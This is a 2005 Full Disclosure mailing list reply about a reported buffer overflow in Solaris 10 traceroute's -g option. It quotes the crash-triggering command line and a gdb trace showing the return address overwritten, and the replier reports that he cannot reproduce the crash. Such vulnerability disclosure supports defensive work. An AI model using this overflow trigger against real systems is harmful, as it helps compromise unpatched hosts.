Full Disclosure mailing list archives
Re: Solaris 10 /usr/sbin/traceroute vulnerabilities
From: "David T. Moraski II" <moraski2 () Princeton EDU>
Date: Fri, 24 Jun 2005 12:54:45 -0400 (EDT)
On Fri, 24 Jun 2005, Przemyslaw Frasunek wrote:
/usr/sbin/traceroute from Solaris 10 is vulnerable to buffer overflow in handling -g argument. After supplying 10 -g parameters, return address is overwritten by IP address argument: atari:root:/home/venglin# /usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g 7 -g 8 -g 9 -g 10 127.0.0.1 traceroute: too many IPv4 gateways traceroute: unknown IPv4 host 1 traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 88 byte packets Segmentation fault (core dumped) atari:root:/home/venglin# gdb /usr/sbin/traceroute core [...] Core was generated by `/usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g 7 -g 8 -g 9 -g 10 127.0.0'. Program terminated with signal 11, Segmentation fault. [...] #0 0x0100007f in ?? () 0x0100007f is of course 127.0.0.1.
I ran the above command line on a Solaris 10 system, both as root and a regular user, and was unable to reproduce your results; traceroute did not segfault or produce a core file. What was your patch level? DM _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Solaris 10 /usr/sbin/traceroute vulnerabilities Przemyslaw Frasunek (Jun 24)
- Re: Solaris 10 /usr/sbin/traceroute vulnerabilities Przemyslaw Frasunek (Jun 24)
- Message not available
- Re: Solaris 10 /usr/sbin/traceroute vulnerabilities Przemyslaw Frasunek (Jun 24)
- Message not available
- Re: Solaris 10 /usr/sbin/traceroute vulnerabilities Przemyslaw Frasunek (Jun 24)
- Re: Solaris 10 /usr/sbin/traceroute vulnerabilities David T. Moraski II (Jun 24)
- Re: Solaris 10 /usr/sbin/traceroute vulnerabilities FermÃn J. Serna (Jun 24)